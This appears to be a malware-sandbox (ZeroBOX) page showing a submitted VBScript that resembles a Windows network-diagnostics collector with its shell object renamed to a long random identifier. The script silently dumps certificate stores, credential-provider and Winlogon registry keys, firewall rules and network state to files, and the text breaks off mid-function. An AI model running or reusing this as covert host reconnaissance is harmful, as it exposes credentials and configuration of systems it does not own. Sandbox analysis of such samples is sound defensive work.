Static | ZeroBOX
No static analysis available.
"& &@
"& &@
"& &@
"& &@
"& &@
Sub GetWirelessAdapterInfo(outputFile)
On Error Resume Next
Dim adapters, objReg
Dim adapterDetailNames, adapterDetailRegValNames
adapterDetailNames = Array("Driver Description", "Adapter Guid", "Hardware ID", "Driver Date", "Driver Version", "Driver Provider")
adapterDetailRegValNames = Array("DriverDesc", "NetCfgInstanceId", "MatchingDeviceId", "DriverDate", "DriverVersion", "ProviderName")
IHVDetailNames = Array("ExtensibilityDLL", "UIExtensibilityCLSID", "GroupName", "DiagnosticsID")
IHVDetailRegValNames = Array("ExtensibilityDLL", "UIExtensibilityCLSID", "GroupName", "DiagnosticsID")
HKEY_LOCAL_MACHINE = &H80000002
strComputer = "."
Set objReg = GetObject("winmgmts:{impersonationLevel=impersonate}!\\" &_
strComputer & "\root\default:StdRegProv")
strKeyPath = "SYSTEM\CurrentControlSet\Control\Class\{4D36E972-E325-11CE-BFC1-08002BE10318}\"
objReg.EnumKey HKEY_LOCAL_MACHINE, strKeyPath, adapterSet
For Each adapter In adapterSet
If StrComp("Properties", adapter) Then
fullstrKeyPath = strKeyPath + adapter
objReg.GetDWORDValue HKEY_LOCAL_MACHINE, fullstrKeyPath, "*IfType", ifType
If ifType = 71 Then
for I = 0 to UBound(adapterDetailNames)
objReg.GetStringValue HKEY_LOCAL_MACHINE, fullstrKeyPath, adapterDetailRegValNames(I), info
outputFile.WriteLine(adapterDetailNames(I) + " = " + info)
Next
ihvKeyPath = fullstrKeyPath + "\Ndi\IHVExtensions"
For J = 0 to UBound(IHVDetailNames)
objReg.GetStringValue HKEY_LOCAL_MACHINE, ihvKeyPath, IHVDetailRegValNames(J), ihvInfo
outputFile.WriteLine(IHVDetailNames(J) + " = " + ihvInfo)
Next
objReg.GetDWordValue HKEY_LOCAL_MACHINE, ihvKeyPath, "AdapterOUI", ihvInfo
outputFile.WriteLine("AdapterOUI = " + CSTR(ihvInfo))
outputFile.WriteLine()
End If
End If
Next
Set woPhOiwQwMLsJWRIaOtqwKaGoLPOipvdOBeQoObiqozhQgcnqRdLyqPWbrqcSDtKOOwgcfqwxfpzvObIvBUnSewCJ = WScript.CreateObject( "WScript.Shell" )
cmd = "cmd /c tasklist /svc > " & processes
woPhOiwQwMLsJWRIaOtqwKaGoLPOipvdOBeQoObiqozhQgcnqRdLyqPWbrqcSDtKOOwgcfqwxfpzvObIvBUnSewCJ.Run cmd, 0, True
Set objTextFile = FSO.OpenTextFile(processes, 1)
strIHVOutput = objTextFile.ReadAll()
Set regEx = New RegExp
regEx.Pattern = "^wlanext.exe[\s|a-z|A-Z|\d]*"
regEx.Multiline = True
regEx.IgnoreCase = True
regEx.Global = True
Set Matches = regEx.Execute(strIHVOutput)
For Each match in Matches
outputFile.WriteLine(match.Value)
Next
End Sub
Sub GetWirelessAutoconfigLog(logFileName)
On Error Resume Next
Set woPhOiwQwMLsJWRIaOtqwKaGoLPOipvdOBeQoObiqozhQgcnqRdLyqPWbrqcSDtKOOwgcfqwxfpzvObIvBUnSewCJ = WScript.CreateObject( "WScript.Shell" )
'Export the operational log
cmd = "cmd /c wevtutil epl ""Microsoft-Windows-WLAN-AutoConfig/Operational"" " & logFileName
woPhOiwQwMLsJWRIaOtqwKaGoLPOipvdOBeQoObiqozhQgcnqRdLyqPWbrqcSDtKOOwgcfqwxfpzvObIvBUnSewCJ.Run cmd, 0, True
'Archive the log so that it can be read on different machines
cmd = "cmd /c wevtutil al " & logFileName
woPhOiwQwMLsJWRIaOtqwKaGoLPOipvdOBeQoObiqozhQgcnqRdLyqPWbrqcSDtKOOwgcfqwxfpzvObIvBUnSewCJ.Run cmd, 0, True
End Sub
Sub GetWwanLog(logFileName)
On Error Resume Next
Set woPhOiwQwMLsJWRIaOtqwKaGoLPOipvdOBeQoObiqozhQgcnqRdLyqPWbrqcSDtKOOwgcfqwxfpzvObIvBUnSewCJ = WScript.CreateObject( "WScript.Shell" )
'Export the operational log
cmd = "cmd /c wevtutil epl ""Microsoft-Windows-WWAN-SVC-EVENTS/Operational"" " & logFileName
woPhOiwQwMLsJWRIaOtqwKaGoLPOipvdOBeQoObiqozhQgcnqRdLyqPWbrqcSDtKOOwgcfqwxfpzvObIvBUnSewCJ.Run cmd, 0, True
'Archive the log so that it can be read on different machines
cmd = "cmd /c wevtutil al " & logFileName
woPhOiwQwMLsJWRIaOtqwKaGoLPOipvdOBeQoObiqozhQgcnqRdLyqPWbrqcSDtKOOwgcfqwxfpzvObIvBUnSewCJ.Run cmd, 0, True
End Sub
Sub GetWcmLog(logFileName)
On Error Resume Next
Set woPhOiwQwMLsJWRIaOtqwKaGoLPOipvdOBeQoObiqozhQgcnqRdLyqPWbrqcSDtKOOwgcfqwxfpzvObIvBUnSewCJ = WScript.CreateObject( "WScript.Shell" )
'Export the operational log
cmd = "cmd /c wevtutil epl ""Microsoft-Windows-Wcmsvc/Operational"" " & logFileName
woPhOiwQwMLsJWRIaOtqwKaGoLPOipvdOBeQoObiqozhQgcnqRdLyqPWbrqcSDtKOOwgcfqwxfpzvObIvBUnSewCJ.Run cmd, 0, True
'Archive the log so that it can be read on different machines
cmd = "cmd /c wevtutil al " & logFileName
woPhOiwQwMLsJWRIaOtqwKaGoLPOipvdOBeQoObiqozhQgcnqRdLyqPWbrqcSDtKOOwgcfqwxfpzvObIvBUnSewCJ.Run cmd, 0, True
End Sub
Sub GetWiredAdapterInfo(outputFile)
On Error Resume Next
Dim adapters, objReg
Dim adapterDetailNames, adapterDetailRegValNames
adapterDetailNames = Array("Driver Description", "Adapter Guid", "Hardware ID", "Driver Date", "Driver Version", "Driver Provider")
adapterDetailRegValNames = Array("DriverDesc", "NetCfgInstanceId", "MatchingDeviceId", "DriverDate", "DriverVersion", "ProviderName")
HKEY_LOCAL_MACHINE = &H80000002
strComputer = "."
Set objReg = GetObject("winmgmts:{impersonationLevel=impersonate}!\\" &_
strComputer & "\root\default:StdRegProv")
strKeyPath = "SYSTEM\CurrentControlSet\Control\Class\{4D36E972-E325-11CE-BFC1-08002BE10318}\"
objReg.EnumKey HKEY_LOCAL_MACHINE, strKeyPath, adapterSet
For Each adapter In adapterSet
If StrComp("Properties", adapter) Then
fullstrKeyPath = strKeyPath + adapter
objReg.GetDWORDValue HKEY_LOCAL_MACHINE, fullstrKeyPath, "*IfType", ifType
If ifType = 6 Then
for I = 0 to UBound(adapterDetailNames)
objReg.GetStringValue HKEY_LOCAL_MACHINE, fullstrKeyPath, adapterDetailRegValNames(I), info
outputFile.WriteLine(adapterDetailNames(I) + " = " + info)
Next
outputFile.WriteLine()
End If
End If
Next
End Sub
Sub GetEnvironmentInfo(outputFileName)
On Error Resume Next
Dim envInfoFile
Set woPhOiwQwMLsJWRIaOtqwKaGoLPOipvdOBeQoObiqozhQgcnqRdLyqPWbrqcSDtKOOwgcfqwxfpzvObIvBUnSewCJ = WScript.CreateObject( "WScript.Shell" )
cmd = "cmd /c netsh wlan show all > " & outputFileName
woPhOiwQwMLsJWRIaOtqwKaGoLPOipvdOBeQoObiqozhQgcnqRdLyqPWbrqcSDtKOOwgcfqwxfpzvObIvBUnSewCJ.Run cmd, 0, True
cmd = "cmd /c netsh lan show interfaces >> " & outputFileName
woPhOiwQwMLsJWRIaOtqwKaGoLPOipvdOBeQoObiqozhQgcnqRdLyqPWbrqcSDtKOOwgcfqwxfpzvObIvBUnSewCJ.Run cmd, 0, True
cmd = "cmd /c netsh lan show settings >> " & outputFileName
woPhOiwQwMLsJWRIaOtqwKaGoLPOipvdOBeQoObiqozhQgcnqRdLyqPWbrqcSDtKOOwgcfqwxfpzvObIvBUnSewCJ.Run cmd, 0, True
cmd = "cmd /c netsh lan show profiles >> " & outputFileName
woPhOiwQwMLsJWRIaOtqwKaGoLPOipvdOBeQoObiqozhQgcnqRdLyqPWbrqcSDtKOOwgcfqwxfpzvObIvBUnSewCJ.Run cmd, 0, True
cmd = "cmd /c netsh mbn show interfaces >> " & outputFileName
woPhOiwQwMLsJWRIaOtqwKaGoLPOipvdOBeQoObiqozhQgcnqRdLyqPWbrqcSDtKOOwgcfqwxfpzvObIvBUnSewCJ.Run cmd, 0, True
cmd = "cmd /c netsh mbn show profile name=* interface=* >> " & outputFileName
woPhOiwQwMLsJWRIaOtqwKaGoLPOipvdOBeQoObiqozhQgcnqRdLyqPWbrqcSDtKOOwgcfqwxfpzvObIvBUnSewCJ.Run cmd, 0, True
cmd = "cmd /c netsh mbn show readyinfo interface=* >> " & outputFileName
woPhOiwQwMLsJWRIaOtqwKaGoLPOipvdOBeQoObiqozhQgcnqRdLyqPWbrqcSDtKOOwgcfqwxfpzvObIvBUnSewCJ.Run cmd, 0, True
cmd = "cmd /c netsh mbn show capability interface=* >> " & outputFileName
woPhOiwQwMLsJWRIaOtqwKaGoLPOipvdOBeQoObiqozhQgcnqRdLyqPWbrqcSDtKOOwgcfqwxfpzvObIvBUnSewCJ.Run cmd, 0, True
cmd = "cmd /c ipconfig /all >> " & outputFileName
woPhOiwQwMLsJWRIaOtqwKaGoLPOipvdOBeQoObiqozhQgcnqRdLyqPWbrqcSDtKOOwgcfqwxfpzvObIvBUnSewCJ.Run cmd, 0, True
RunCmd "echo.", outputFileName
RunCmd "echo ROUTE PRINT:", outputFileName
RunCmd "route print", outputFileName
Set envInfoFile = FSO.OpenTextFile(outputFileName, 8, True)
envInfoFile.WriteLine("")
envInfoFile.WriteLine("Machine certificates...")
envInfoFile.WriteLine("")
envInfoFile.Close
cmd = "cmd /c certutil -v -store -silent My >> " & outputFileName
woPhOiwQwMLsJWRIaOtqwKaGoLPOipvdOBeQoObiqozhQgcnqRdLyqPWbrqcSDtKOOwgcfqwxfpzvObIvBUnSewCJ.Run cmd, 0, True
Set envInfoFile = FSO.OpenTextFile(outputFileName, 8, True)
envInfoFile.WriteLine("")
envInfoFile.WriteLine("User certificates...")
envInfoFile.WriteLine("")
envInfoFile.Close
cmd = "cmd /c certutil -v -store -silent -user My >> " & outputFileName
woPhOiwQwMLsJWRIaOtqwKaGoLPOipvdOBeQoObiqozhQgcnqRdLyqPWbrqcSDtKOOwgcfqwxfpzvObIvBUnSewCJ.Run cmd, 0, True
Set envInfoFile = FSO.OpenTextFile(outputFileName, 8, True)
envInfoFile.WriteLine("")
envInfoFile.WriteLine("Root certificates (machine store)...")
envInfoFile.WriteLine("")
envInfoFile.Close
cmd = "cmd /c certutil -v -store -silent root >> " & outputFileName
woPhOiwQwMLsJWRIaOtqwKaGoLPOipvdOBeQoObiqozhQgcnqRdLyqPWbrqcSDtKOOwgcfqwxfpzvObIvBUnSewCJ.Run cmd, 0, True
Set envInfoFile = FSO.OpenTextFile(outputFileName, 8, True)
envInfoFile.WriteLine("")
envInfoFile.WriteLine("Root certificates (enterprise store)...")
envInfoFile.WriteLine("")
envInfoFile.Close
cmd = "cmd /c certutil -v -enterprise -store -silent NTAuth >> " & outputFileName
woPhOiwQwMLsJWRIaOtqwKaGoLPOipvdOBeQoObiqozhQgcnqRdLyqPWbrqcSDtKOOwgcfqwxfpzvObIvBUnSewCJ.Run cmd, 0, True
Set envInfoFile = FSO.OpenTextFile(outputFileName, 8, True)
envInfoFile.WriteLine("")
envInfoFile.WriteLine("Root certificates (user store)...")
envInfoFile.WriteLine("")
envInfoFile.Close
cmd = "cmd /c certutil -v -user -store -silent root >> " & outputFileName
woPhOiwQwMLsJWRIaOtqwKaGoLPOipvdOBeQoObiqozhQgcnqRdLyqPWbrqcSDtKOOwgcfqwxfpzvObIvBUnSewCJ.Run cmd, 0, True
End Sub
'Comments: Function to dump a tree under a registry path into a file
Sub DumpRegKey(outputFileName,regpath)
On Error Resume Next
Dim cmd
Set woPhOiwQwMLsJWRIaOtqwKaGoLPOipvdOBeQoObiqozhQgcnqRdLyqPWbrqcSDtKOOwgcfqwxfpzvObIvBUnSewCJ = WScript.CreateObject( "WScript.Shell" )
cmd = "cmd /c reg export " & regpath & " " & outputFileName & " /y"
woPhOiwQwMLsJWRIaOtqwKaGoLPOipvdOBeQoObiqozhQgcnqRdLyqPWbrqcSDtKOOwgcfqwxfpzvObIvBUnSewCJ.Run cmd, 0, True
End Sub
Sub DumpAllKeys
On Error Resume Next
Dim NotifRegFile, RegFolder, Key
RegFolder = "Reg"
if Not FSO.FolderExists(RegFolder) Then
FSO.CreateFolder RegFolder
End If
' Dump WLAN registry keys
AllCredRegFile = RegFolder + "\AllCred.reg.txt"
AllCredFilterFile = RegFolder + "\AllCredFilter.reg.txt"
CredRegFileA = RegFolder + "\{07AA0886-CC8D-4e19-A410-1C75AF686E62}.reg.txt"
CredRegFileB = RegFolder + "\{33c86cd6-705f-4ba1-9adb-67070b837775}.reg.txt"
CredRegFileC = RegFolder + "\{edd749de-2ef1-4a80-98d1-81f20e6df58e}.reg.txt"
APIPermRegFile = RegFolder + "\APIPerm.reg.txt"
NotifRegFile = RegFolder + "\Notif.reg.txt"
GPTRegFile = RegFolder + "\GPT.reg.txt"
CUWlanSvcRegFile = RegFolder + "\HKCUWlanSvc.reg.txt"
LMWlanSvcRegFile = RegFolder + "\HKLMWlanSvc.reg.txt"
NidRegFile = RegFolder + "\NetworkProfiles.reg.txt"
call DumpRegKey(NotifRegFile ,"""HKLM\SYSTEM\CurrentControlSet\Control\Winlogon\Notifications""")
call DumpRegKey(AllCredRegFile ,"""HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Authentication\Credential Providers""")
call DumpRegKey(AllCredFilterFile,"""HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Authentication\Credential Provider Filters""")
call DumpRegKey(CredRegFileA ,"""HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Authentication\Credential Providers\{07AA0886-CC8D-4e19-A410-1C75AF686E62}""")
call DumpRegKey(CredRegFileB ,"""HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Authentication\Credential Providers\{33c86cd6-705f-4ba1-9adb-67070b837775}""")
call DumpRegKey(CredRegFileC ,"""HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Authentication\Credential Provider Filters\{edd749de-2ef1-4a80-98d1-81f20e6df58e}""")
call DumpRegKey(APIPermRegFile ,"""HKLM\SYSTEM\CurrentControlSet\Services\Wlansvc\Parameters\WlanAPIPermissions""")
call DumpRegKey(GPTRegFile , """HKLM\SOFTWARE\Policies\Microsoft\Windows\Wireless\GPTWirelessPolicy""")
call DumpRegKey(CUWlanSvcRegFile ,"""HKCU\SOFTWARE\Microsoft\Wlansvc""")
call DumpRegKey(LMWlanSvcRegFile ,"""HKLM\SOFTWARE\Microsoft\Wlansvc""")
' Dump Dot3 registry keys
LMDot3SvcRegFile = RegFolder + "\HKLMDot3Svc.reg.txt"
CUDot3SvcRegFile = RegFolder + "\HKCUDot3Svc.reg.txt"
LGPPolicyFile = RegFolder + "\L2GP.reg.txt"
call DumpRegKey(LMDot3SvcRegFile ,"""HKLM\SOFTWARE\Microsoft\dot3svc""")
call DumpRegKey(CUDot3SvcRegFile ,"""HKCU\SOFTWARE\Microsoft\dot3svc""")
call DumpRegKey(LGPPolicyFile ,"""HKLM\SOFTWARE\Policies\Microsoft\Windows\WiredL2\GP_Policy""")
call DumpRegKey(NidRegFile ,"""HKLM\SOFTWARE\MICROSOFT\Windows NT\CurrentVersion\NetworkList""")
' Dump WCM registry keys
WCMPolicyRegFile = RegFolder + "\WCMPolicy.reg.txt"
call DumpRegKey(WCMPolicyRegFile ,"""HKLM\SOFTWARE\Policies\Microsoft\WcmSvc""")
End Sub
' Dump Winsock LSP catalog
Sub DumpWinsockCatalog(outputFileName)
On Error Resume Next
Dim envInfoFile
Set woPhOiwQwMLsJWRIaOtqwKaGoLPOipvdOBeQoObiqozhQgcnqRdLyqPWbrqcSDtKOOwgcfqwxfpzvObIvBUnSewCJ = WScript.CreateObject( "WScript.Shell" )
cmd = "cmd /c netsh winsock show catalog > " & outputFileName
woPhOiwQwMLsJWRIaOtqwKaGoLPOipvdOBeQoObiqozhQgcnqRdLyqPWbrqcSDtKOOwgcfqwxfpzvObIvBUnSewCJ.Run cmd, 0, True
End Sub
' Dump the Windows Firewall Configuration
Sub GetWindowsFirewallInfo(configFileName, logFileName, effectiveRulesFileName, consecLogFileName, logFileNameVerbose, consecLogFileNameVerbose)
On Error Resume Next
Dim envInfoFile
Set woPhOiwQwMLsJWRIaOtqwKaGoLPOipvdOBeQoObiqozhQgcnqRdLyqPWbrqcSDtKOOwgcfqwxfpzvObIvBUnSewCJ = WScript.CreateObject( "WScript.Shell" )
cmd = "cmd /c echo Current Profiles: > " & configFileName
woPhOiwQwMLsJWRIaOtqwKaGoLPOipvdOBeQoObiqozhQgcnqRdLyqPWbrqcSDtKOOwgcfqwxfpzvObIvBUnSewCJ.Run cmd, 0, True
cmd = "cmd /c echo ------------------------------------------------------------------------ >> " & configFileName
woPhOiwQwMLsJWRIaOtqwKaGoLPOipvdOBeQoObiqozhQgcnqRdLyqPWbrqcSDtKOOwgcfqwxfpzvObIvBUnSewCJ.Run cmd, 0, True
'Dump the current profiles
cmd = "cmd /c netsh advfirewall monitor show currentprofile >> " & configFileName
woPhOiwQwMLsJWRIaOtqwKaGoLPOipvdOBeQoObiqozhQgcnqRdLyqPWbrqcSDtKOOwgcfqwxfpzvObIvBUnSewCJ.Run cmd, 0, True
cmd = "cmd /c echo Firewall Configuration: >> " & configFileName
woPhOiwQwMLsJWRIaOtqwKaGoLPOipvdOBeQoObiqozhQgcnqRdLyqPWbrqcSDtKOOwgcfqwxfpzvObIvBUnSewCJ.Run cmd, 0, True
cmd = "cmd /c echo ------------------------------------------------------------------------ >> " & configFileName
woPhOiwQwMLsJWRIaOtqwKaGoLPOipvdOBeQoObiqozhQgcnqRdLyqPWbrqcSDtKOOwgcfqwxfpzvObIvBUnSewCJ.Run cmd, 0, True
' Dump the firewall configuration
cmd = "cmd /c netsh advfirewall monitor show firewall >> " & configFileName
woPhOiwQwMLsJWRIaOtqwKaGoLPOipvdOBeQoObiqozhQgcnqRdLyqPWbrqcSDtKOOwgcfqwxfpzvObIvBUnSewCJ.Run cmd, 0, True
cmd = "cmd /c echo Connection Security Configuration: >> " & configFileName
woPhOiwQwMLsJWRIaOtqwKaGoLPOipvdOBeQoObiqozhQgcnqRdLyqPWbrqcSDtKOOwgcfqwxfpzvObIvBUnSewCJ.Run cmd, 0, True
cmd = "cmd /c echo ------------------------------------------------------------------------ >> " & configFileName
woPhOiwQwMLsJWRIaOtqwKaGoLPOipvdOBeQoObiqozhQgcnqRdLyqPWbrqcSDtKOOwgcfqwxfpzvObIvBUnSewCJ.Run cmd, 0, True
'Dump the connection security configuration
cmd = "cmd /c netsh advfirewall monitor show consec >> " & configFileName
woPhOiwQwMLsJWRIaOtqwKaGoLPOipvdOBeQoObiqozhQgcnqRdLyqPWbrqcSDtKOOwgcfqwxfpzvObIvBUnSewCJ.Run cmd, 0, True
cmd = "cmd /c echo Firewall Rules : >> " & configFileName
woPhOiwQwMLsJWRIaOtqwKaGoLPOipvdOBeQoObiqozhQgcnqRdLyqPWbrqcSDtKOOwgcfqwxfpzvObIvBUnSewCJ.Run cmd, 0, True
cmd = "cmd /c echo ------------------------------------------------------------------------ >> " & configFileName
woPhOiwQwMLsJWRIaOtqwKaGoLPOipvdOBeQoObiqozhQgcnqRdLyqPWbrqcSDtKOOwgcfqwxfpzvObIvBUnSewCJ.Run cmd, 0, True
'Dump the firewall rules
cmd = "cmd /c netsh advfirewall firewall show rule name=all verbose >> " & configFileName
woPhOiwQwMLsJWRIaOtqwKaGoLPOipvdOBeQoObiqozhQgcnqRdLyqPWbrqcSDtKOOwgcfqwxfpzvObIvBUnSewCJ.Run cmd, 0, True
cmd = "cmd /c echo Connection Security Rules : >> " & configFileName
woPhOiwQwMLsJWRIaOtqwKaGoLPOipvdOBeQoObiqozhQgcnqRdLyqPWbrqcSDtKOOwgcfqwxfpzvObIvBUnSewCJ.Run cmd, 0, True
cmd = "cmd /c echo ------------------------------------------------------------------------ >> " & configFileName
woPhOiwQwMLsJWRIaOtqwKaGoLPOipvdOBeQoObiqozhQgcnqRdLyqPWbrqcSDtKOOwgcfqwxfpzvObIvBUnSewCJ.Run cmd, 0, True
'Dump the connection security rules
cmd = "cmd /c netsh advfirewall consec show rule name=all verbose >> " & configFileName
woPhOiwQwMLsJWRIaOtqwKaGoLPOipvdOBeQoObiqozhQgcnqRdLyqPWbrqcSDtKOOwgcfqwxfpzvObIvBUnSewCJ.Run cmd, 0, True
'Dump the firewall rules from Dynamic Store
cmd = "cmd /c echo Firewall Rules currently enforced : > " & effectiveRulesFileName
woPhOiwQwMLsJWRIaOtqwKaGoLPOipvdOBeQoObiqozhQgcnqRdLyqPWbrqcSDtKOOwgcfqwxfpzvObIvBUnSewCJ.Run cmd, 0, True
cmd = "cmd /c echo ------------------------------------------------------------------------ >> " & effectiveRulesFileName
woPhOiwQwMLsJWRIaOtqwKaGoLPOipvdOBeQoObiqozhQgcnqRdLyqPWbrqcSDtKOOwgcfqwxfpzvObIvBUnSewCJ.Run cmd, 0, True
cmd = "cmd /c netsh advfirewall monitor show firewall rule name=all >> " & effectiveRulesFileName
woPhOiwQwMLsJWRIaOtqwKaGoLPOipvdOBeQoObiqozhQgcnqRdLyqPWbrqcSDtKOOwgcfqwxfpzvObIvBUnSewCJ.Run cmd, 0, True
'Dump the connection security rules from Dynamic Store
cmd = "cmd /c echo Connection Security Rules currently enforced : >> " & effectiveRulesFileName
woPhOiwQwMLsJWRIaOtqwKaGoLPOipvdOBeQoObiqozhQgcnqRdLyqPWbrqcSDtKOOwgcfqwxfpzvObIvBUnSewCJ.Run cmd, 0, True
cmd = "cmd /c echo ------------------------------------------------------------------------ >> " & effectiveRulesFileName
woPhOiwQwMLsJWRIaOtqwKaGoLPOipvdOBeQoObiqozhQgcnqRdLyqPWbrqcSDtKOOwgcfqwxfpzvObIvBUnSewCJ.Run cmd, 0, True
cmd = "cmd /c netsh advfirewall monitor show consec rule name=all >> " & effectiveRulesFileName
woPhOiwQwMLsJWRIaOtqwKaGoLPOipvdOBeQoObiqozhQgcnqRdLyqPWbrqcSDtKOOwgcfqwxfpzvObIvBUnSewCJ.Run cmd, 0, True
'Export the operational log
cmd = "cmd /c wevtutil epl ""Microsoft-Windows-Windows Firewall With Advanced Security/Firewall"" " & logFileName
woPhOiwQwMLsJWRIaOtqwKaGoLPOipvdOBeQoObiqozhQgcnqRdLyqPWbrqcSDtKOOwgcfqwxfpzvObIvBUnSewCJ.Run cmd, 0, True
'Archive the log so that it could be read on different machines
cmd = "cmd /c wevtutil al " & logFileName
woPhOiwQwMLsJWRIaOtqwKaGoLPOipvdOBeQoObiqozhQgcnqRdLyqPWbrqcSDtKOOwgcfqwxfpzvObIvBUnSewCJ.Run cmd, 0, True
'Export the operational log
cmd = "cmd /c wevtutil epl ""Microsoft-Windows-Windows Firewall With Advanced Security/ConnectionSecurity"" " & consecLogFileName
woPhOiwQwMLsJWRIaOtqwKaGoLPOipvdOBeQoObiqozhQgcnqRdLyqPWbrqcSDtKOOwgcfqwxfpzvObIvBUnSewCJ.Run cmd, 0, True
'Archive the log so that it could be read on different machines
cmd = "cmd /c wevtutil al " & consecLogFileName
woPhOiwQwMLsJWRIaOtqwKaGoLPOipvdOBeQoObiqozhQgcnqRdLyqPWbrqcSDtKOOwgcfqwxfpzvObIvBUnSewCJ.Run cmd, 0, True
'Export the operational log
cmd = "cmd /c wevtutil epl ""Microsoft-Windows-Windows Firewall With Advanced Security/FirewallVerbose"" " & logFileNameVerbose
woPhOiwQwMLsJWRIaOtqwKaGoLPOipvdOBeQoObiqozhQgcnqRdLyqPWbrqcSDtKOOwgcfqwxfpzvObIvBUnSewCJ.Run cmd, 0, True
'Archive the log so that it could be read on different machines
cmd = "cmd /c wevtutil al " & logFileNameVerbose
woPhOiwQwMLsJWRIaOtqwKaGoLPOipvdOBeQoObiqozhQgcnqRdLyqPWbrqcSDtKOOwgcfqwxfpzvObIvBUnSewCJ.Run cmd, 0, True
'Export the operational log
cmd = "cmd /c wevtutil epl ""Microsoft-Windows-Windows Firewall With Advanced Security/ConnectionSecurityVerbose"" " & consecLogFileNameVerbose
woPhOiwQwMLsJWRIaOtqwKaGoLPOipvdOBeQoObiqozhQgcnqRdLyqPWbrqcSDtKOOwgcfqwxfpzvObIvBUnSewCJ.Run cmd, 0, True
'Archive the log so that it could be read on different machines
cmd = "cmd /c wevtutil al " & consecLogFileNameVerbose
woPhOiwQwMLsJWRIaOtqwKaGoLPOipvdOBeQoObiqozhQgcnqRdLyqPWbrqcSDtKOOwgcfqwxfpzvObIvBUnSewCJ.Run cmd, 0, True
End Sub
Sub GetWfpInfo(outputFileName, logFileName)
On Error Resume Next
Set woPhOiwQwMLsJWRIaOtqwKaGoLPOipvdOBeQoObiqozhQgcnqRdLyqPWbrqcSDtKOOwgcfqwxfpzvObIvBUnSewCJ = WScript.CreateObject( "WScript.Shell" )
cmd = "cmd /c netsh wfp show filters file=" & outputFileName & " > " & logFileName
woPhOiwQwMLsJWRIaOtqwKaGoLPOipvdOBeQoObiqozhQgcnqRdLyqPWbrqcSDtKOOwgcfqwxfpzvObIvBUnSewCJ.Run cmd, 0, True
End Sub
' Dump Netio State
Sub GetNetioInfo(outputFileName)
On Error Resume Next
Set woPhOiwQwMLsJWRIaOtqwKaGoLPOipvdOBeQoObiqozhQgcnqRdLyqPWbrqcSDtKOOwgcfqwxfpzvObIvBUnSewCJ = WScript.CreateObject( "WScript.Shell" )
cmd = "cmd /c netsh interface teredo show state > " & outputFileName
woPhOiwQwMLsJWRIaOtqwKaGoLPOipvdOBeQoObiqozhQgcnqRdLyqPWbrqcSDtKOOwgcfqwxfpzvObIvBUnSewCJ.Run cmd, 0, True
cmd = "cmd /c netsh interface httpstunnel show interface >> " & outputFileName
woPhOiwQwMLsJWRIaOtqwKaGoLPOipvdOBeQoObiqozhQgcnqRdLyqPWbrqcSDtKOOwgcfqwxfpzvObIvBUnSewCJ.Run cmd, 0, True
cmd = "cmd /c netsh interface httpstunnel show statistics >> " & outputFileName
woPhOiwQwMLsJWRIaOtqwKaGoLPOipvdOBeQoObiqozhQgcnqRdLyqPWbrqcSDtKOOwgcfqwxfpzvObIvBUnSewCJ.Run cmd, 0, True
End Sub
Sub GetDnsInfo(logFileName)
On Error Resume Next
Set woPhOiwQwMLsJWRIaOtqwKaGoLPOipvdOBeQoObiqozhQgcnqRdLyqPWbrqcSDtKOOwgcfqwxfpzvObIvBUnSewCJ = WScript.CreateObject( "WScript.Shell" )
RunCmd "echo IPCONFIG /DISPLAYDNS: ", logFileName
RunCmd "ipconfig /displaydns", logFileName
RunCmd "echo. ", logFileName
RunCmd "echo NETSH NAMESPACE SHOW EFFECTIVE:", logFileName
RunCmd "netsh namespace show effective", logFileName
RunCmd "echo.", logFileName
RunCmd "echo NETSH NAMESPACE SHOW POLICY:", logFileName
RunCmd "netsh namespace show policy", logFileName
End Sub
Sub GetNeighborInfo(logFileName)
On Error Resume Next
Set woPhOiwQwMLsJWRIaOtqwKaGoLPOipvdOBeQoObiqozhQgcnqRdLyqPWbrqcSDtKOOwgcfqwxfpzvObIvBUnSewCJ = WScript.CreateObject( "WScript.Shell" )
RunCmd "echo ARP -A:", logFileName
RunCmd "arp -a", logFileName
RunCmd "echo.", logFileName
RunCmd "echo NETSH INT IPV6 SHOW NEIGHBORS:", logFileName
RunCmd "netsh int ipv6 show neigh", logFileName
End Sub
Sub GetFileSharingInfo(logFileName)
On Error Resume Next
Set woPhOiwQwMLsJWRIaOtqwKaGoLPOipvdOBeQoObiqozhQgcnqRdLyqPWbrqcSDtKOOwgcfqwxfpzvObIvBUnSewCJ = WScript.CreateObject( "WScript.Shell" )
RunCmd "echo NBTSTAT -N:", logFileName
RunCmd "nbtstat -n", logFileName
RunCmd "echo.", logFileName
RunCmd "echo NBTSTAT -C:", logFileName
RunCmd "nbtstat -c", logFileName
RunCmd "echo.", logFileName
RunCmd "echo NET CONFIG RDR:", logFileName
RunCmd "net config rdr", logFileName
' Run the following 2 commands only if lanmanserver service is running
' In WOA build, FileSharing is disabled - hence this results in a prompt
' which halts the script at that point and netsh trace stop can go on indefinitely
strComputer = "."
Set objWmiService = GetObject("winmgmts:\\" & strComputer & "\root\cimv2")
strQuery = "Select * from WIN32_Service where Name = 'lanmanserver' AND Started = True"
Set objService = objWmiService.ExecQuery (strQuery)
RunCmd "echo.", logFileName
RunCmd "echo NET CONFIG SRV:", logFileName
If objService.Count = 1 Then
RunCmd "net config srv", logFileName
Else
RunCmd "echo The Server service is not running.", logFileName
End If
RunCmd "echo.", logFileName
RunCmd "echo NET SHARE:", logFileName
If objService.Count = 1 Then
RunCmd "net share", logFileName
Else
RunCmd "echo The Server service is not running.", logFileName
End If
End Sub
Sub GetGPResultInfo(logFileName)
On Error Resume Next
Set woPhOiwQwMLsJWRIaOtqwKaGoLPOipvdOBeQoObiqozhQgcnqRdLyqPWbrqcSDtKOOwgcfqwxfpzvObIvBUnSewCJ = WScript.CreateObject( "WScript.Shell" )
cmd = "cmd /c gpresult /scope:computer /v 1> " & logFileName & " 2>&1"
woPhOiwQwMLsJWRIaOtqwKaGoLPOipvdOBeQoObiqozhQgcnqRdLyqPWbrqcSDtKOOwgcfqwxfpzvObIvBUnSewCJ.Run cmd, 0, False
End Sub
Sub GetNetEventsInfo(outputFileName, logFileName)
On Error Resume Next
Set woPhOiwQwMLsJWRIaOtqwKaGoLPOipvdOBeQoObiqozhQgcnqRdLyqPWbrqcSDtKOOwgcfqwxfpzvObIvBUnSewCJ = WScript.CreateObject( "WScript.Shell" )
cmd = "cmd /c netsh wfp show netevents file=" & outputFileName & " 1> " & logFileName & " 2>&1"
